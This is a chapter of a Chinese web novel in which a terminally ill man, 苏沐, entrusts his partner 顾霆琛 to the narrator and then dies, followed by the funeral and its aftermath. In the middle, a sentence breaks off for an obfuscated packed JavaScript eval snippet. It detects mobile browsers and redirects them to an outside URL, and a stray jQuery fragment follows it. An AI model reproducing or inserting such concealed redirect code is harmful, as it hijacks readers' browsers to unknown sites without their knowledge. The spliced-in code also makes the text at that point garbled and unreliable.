病房里的消毒水味道比上次更浓了。
林知白坐在床边，看着苏沐。三天不见，他又瘦了一圈，颧骨高高突起，眼窝深深陷下去，只有眼睛还是亮的。
“来了？”苏沐笑了笑，抬起手轻轻挥了挥，动作慢得像放了慢镜头。
林知白点点头，在椅子上坐下。
苏沐看着他，看了很久。
然后他开口：“林知白，我想求你一件事。”
“什么事？”
苏沐沉默了几秒，然后说：“等我走了以后，你帮我照顾顾霆琛。别让他一个人。”
林知白愣住了。
这话苏沐上次说过一次，但这次听起来，格外沉重。
“你......”林知白张了张嘴，“你别这么说，你还能——”
“能活多久？”苏沐替他说完，笑了笑，“林知白，咱们别自欺欺人了。我自己的身体，我知道。”
林知白没说话。
苏沐转过头，看着窗外。今天的阳光很好，透过玻璃照进来，在病床上投下一片金色的光斑。
“我刚才做了个梦。”他说，声音很轻，“梦见十年前，我和他刚在一起的时候。那时候我们穷，租的地下室，冬天冷得跟冰窖似的。他把我裹在被子里，自己跑出去买热豆浆。”
林知白听着，没有说话。
“他跑回来的时候，脸都冻红了，豆浆还是热的。”苏沐的嘴角弯起一个弧度，“他说，快喝，喝完就不冷了。”
病房里安静了几秒。
“那时候我想，这辈子就是他了。”苏沐继续说，“可惜......这辈子太短了。”
林知白的喉咙动了动。
“苏沐。”他终于开口，“你别这么说。”
“那怎么说？”苏沐转过头，看着他，“说我还能活十年？二十年？林知白，我不傻，你也不傻。咱们面对现实吧。”
林知白没说话。
苏沐看着他，眼神里有一丝心疼。
“林知白，你知道吗，我最放心不下的就是他。”他说，“他这个人，看着冷，其实最重感情。我走了以后，他肯定会难受。我怕他难受的时候，没人陪他。”
“他还有我。”林知白脱口而出。
说完他自己愣住了。
苏沐也愣了一下，然后笑了。
“对，他还有你。”他说，“所以我才求你，替我照顾他。”
林知白张了张嘴，想说什么，但又不知道说什么。
“宿主。”小污的声音轻轻响起，“你这是答应了？”
林知白没理它。
他只是看着苏沐，看着那张和自己一模一样的脸上，那种释然的笑容。
“我答应你。”他说。
苏沐的眼睛亮了一下。
“谢谢。”他说，“谢谢你，林知白。”
林知白摇摇头，想说不用谢，但喉咙像是被什么堵住了。
手机响了。
是顾霆琛的消息：
【我到了，在楼下，买了你们爱吃的。】
林知白看着这行字，愣了一下。
“他来了？”苏沐问。
“嗯，在楼下。”
苏沐笑了笑：“让他上来吧。”
林知白发了消息，几分钟后，顾霆琛推门进来。他手里提着两个袋子，一个装着水果，一个装着打包盒。
“买了粥，还有小菜。”他把东西放在床头柜上，“你们俩都吃点。”
苏沐看着他，眼神温柔。
“顾霆琛。”他说。
“嗯？”
“你过来。”
顾霆琛走过去，在床边坐下。
苏沐伸出手，握住了他的手。
那只手很凉，凉得不像活人的手。
顾霆琛的眼眶红了。
“苏沐......”
“别说话。”苏沐打断他，“听我说。”
顾霆琛点点头。
苏沐看着他，看了很久。
“顾霆琛，谢谢你。”他说，“谢谢你这十年，一直等我。谢谢你来送我最后一程。谢谢你......让我不孤单。”
顾霆琛的眼泪掉下来。
“你别这么说......”他的声音哑得不像话，“你会好的，你会——”
“顾霆琛。”苏沐打断他，笑了笑，“别骗自己了。我好不好，你不知道吗？”
顾霆琛说不出话。
苏沐转头看向林知白，招招手。
林知白走过去，在他另一边坐下。
苏沐把顾霆琛的手，放进林知白手里。
两只手交叠在一起。
“以后，你们俩好好的。”他说，“替我好好的。”
林知白的眼眶也红了。
“苏沐......”
“别哭。”苏沐笑了笑，“我最烦看人哭了。我都不哭，你们哭什么？”
他说着，自己眼眶却红了。
三个人就这样坐着，手叠着手，谁都没说话。
阳光慢慢移动，在地板上画出一道斜线。
不知道过了多久，苏沐轻轻叹了口气。
“行了，你们走吧。”他说，“我累了，想睡一会儿。”
顾霆琛看着他，舍不得动。
“走吧。”苏沐又说了一遍，“明天再来。我又跑不了。”
他笑了笑，笑得很轻。
顾霆琛站起来，弯腰在他额头上印下一个吻。
“明天见。”他说。
苏沐点点头，闭上眼睛。
林知白也站起来，走到门口，回头看了一眼。
苏沐躺在床上，阳光照在他脸上，他闭着眼睛，嘴角还带着一点笑。
像睡着了。
又像在做一场很长的梦。
门轻轻关上。
走廊里，顾霆琛靠在墙上，捂着脸，肩膀一抽一抽的。
林知白站在他旁边，没有说话。
他只是伸出手，轻轻握住了顾霆琛的手。
那只手在抖。
很厉害地抖。
“宿主。”小污的声音很轻，“他好难过。”
林知白没说话。
他只是握着那只手，一直握着。
那天晚上，林知白做了一个梦。
梦里苏沐站在一片白茫茫的光里，穿着白西装，笑得很好看。
“林知白。”他说，“我走了。”
林知白想喊他，但喊不出声。
苏沐笑着挥挥手，转身走进光里。
光越来越亮，越来越亮，刺得人睁不开眼——
林知白醒了。
手机在响。
他拿起来一看，凌晨三点十七分。
来电显示：顾霆琛。
他接起来。
“林知白。”顾霆琛的声音很哑，哑得不像他，“苏沐走了。”
林知白愣住了。
“刚刚。”顾霆琛的声音继续，“凌晨两点四十三分。很安静，没受什么罪。”
林知白张了张嘴，想说什么，但什么都说不出来。
电话那头，顾霆琛的呼吸声很重。
“你在哪儿？”林知白问。
“医院。”
“我过来。”
林知白挂了电话，穿好衣服，冲出家门。
夜色很深，街上一个人都没有。
他一路跑到医院，跑进住院部，跑上电梯。
走廊里，顾霆琛坐在长椅上，低着头，一动不动。
林知白走过去，在他旁边坐下。
两个人就这么坐着，谁都没说话。
很久之后，顾霆琛开口了。
“他说，让我别难过。”他的声音很轻，“他说，他早就准备好了。他说，他这辈子，最幸运的事就是遇见我。”
林知白听着，没说话。
“可是我没准备好。”顾霆琛的声音开始发抖，“我以为还有时间，还有一个月，还有好多天。我以为......”
他的话断了。
林知白伸出手，抱住他。
顾霆琛靠在他肩上，身体在发抖。
没有声音。
但林知白知道，他在哭。
那天晚上，他们就在医院走廊里坐到天亮。
护士进进出出，有人推着床出来，床上盖着白布。
顾霆琛站起来，走过去。
林知白陪着他。
掀开白布的一角，露出苏沐的脸。
很安静，很平和，嘴角还带着一点笑。
顾霆琛看着他，看了很久。
然后他俯下身，在他额头上印下一个吻。
“再见。”他说。
白布重新盖上，床被推走了。
顾霆琛站在原地，一动不动。
林知白站在他身边，也没有动。
走廊尽头，窗外的天慢慢亮了。
新的一天开始了。
处理完苏沐的后事，已经是三天后。
这三天，顾霆琛几乎没有说话。
他处理各种手续，接待来吊唁的人，安排墓地。所有事情都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432116|200930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
井井有条，像一台精确运转的机器。
但林知白知道，他在硬撑。
因为每天晚上，他都会一个人坐在书房里，对着苏沐的照片发呆。
一坐就是几个小时。
林知白没有打扰他。
他只是每天晚上，在书房门口放一杯热牛奶。
第二天早上，杯子空了。
第四天，下葬的日子。
天空阴沉沉的，像是要下雨。
墓园里，稀稀落落站着几个人。苏晴哭得站不住，被人扶着。还有一些苏沐生前的朋友，眼圈都红红的。
顾霆琛站在最前面，一身黑衣，面无表情。
林知白站在他旁边。
牧师念着悼词，声音在空旷的墓园里回荡。
“苏沐先生，生于1995年3月17日，卒于2025年9月23日......”
林知白听着这些数字，心里突然很空。
二十岁。
苏沐也只活了三十岁。
比自己大十岁，但还是很年轻。
棺材缓缓放入墓穴。
顾霆琛上前一步，抓起一把土，撒下去。
然后他站在那里，看着墓穴，一动不动。
林知白走过去，站在他身边。
“顾霆琛。”他轻声说。
顾霆琛没动。
林知白没有再说话。
他只是站在那里，陪着他。
雨终于下起来了。
细细的雨丝，落在身上，凉凉的。
有人撑起伞，有人往后退。
顾霆琛没有动。
林知白也没有动。
两个人就站在雨里，看着那个墓碑。
墓碑上，苏沐的照片笑得灿烂。
手里还拿着一束白玫瑰。
葬礼结束后，所有人陆续离开。
墓园里只剩下顾霆琛、林知白，还有苏晴。
苏晴走到顾霆琛面前，深深鞠了一躬。
“顾总，对不起。”她的声音沙哑，“我哥的事，谢谢你。还有之前的事......对不起。”
顾霆琛看着她，没有说话。
苏晴又转向林知白，也鞠了一躬。
“林知白，对不起。我做过的事，我这辈子都不会原谅自己。”
林知白看着她，叹了口气。
“走吧。”他说，“你哥不希望看到你这样。”
苏晴点点头，转身离开。
墓园里彻底安静了。
顾霆琛还站在那里，看着墓碑。
林知白站在他旁边，也看着墓碑。
雨还在下，细细密密的。
不知道过了多久，顾霆琛终于开口了。
“林知白。”
“嗯？”
“你会走吗？”
林知白愣住了。
顾霆琛转过头，看着他。
那双眼睛里，有疲惫，有悲伤，还有一点恐惧。
“你也会走吗？”他问，“像他一样？”
林知白看着他，沉默了几秒。
然后他说：“我不会走。”
顾霆琛的眼眶红了。
“真的？”
“真的。”林知白说，“除非你让我走。”
顾霆琛看着他，看了很久。
然后他伸出手，把林知白拉进怀里。
抱得很紧，很紧。
像是怕他下一秒就会消失。
林知白靠在他肩上，没有说话。
雨还在下。
两个人就站在雨里，抱着。
墓碑上，苏沐的照片静静地看着他们。
嘴角带着笑。
像是在说——
真好。
回到别墅，林知白发了三天高烧。
那天淋的雨，加上这些天的疲惫，一下子全爆发了。
他烧得迷迷糊糊，分不清白天黑夜。
只知道有人一直在身边。
喂药，擦汗，换毛巾。
有时候他醒过来，会看见顾霆琛坐在床边，眼睛红红的，看着他。
“你回来了？”林知白迷迷糊糊地问。
“嗯。”顾霆琛握住他的手，“我回来了。”
“苏沐呢？”
顾霆琛沉默了几秒。
“他走了。”
林知白愣了一会儿，然后点点头。
“哦。”他说，“那你要难受了。”
顾霆琛的眼眶红了。
“我不难受。”他说，“有你在。”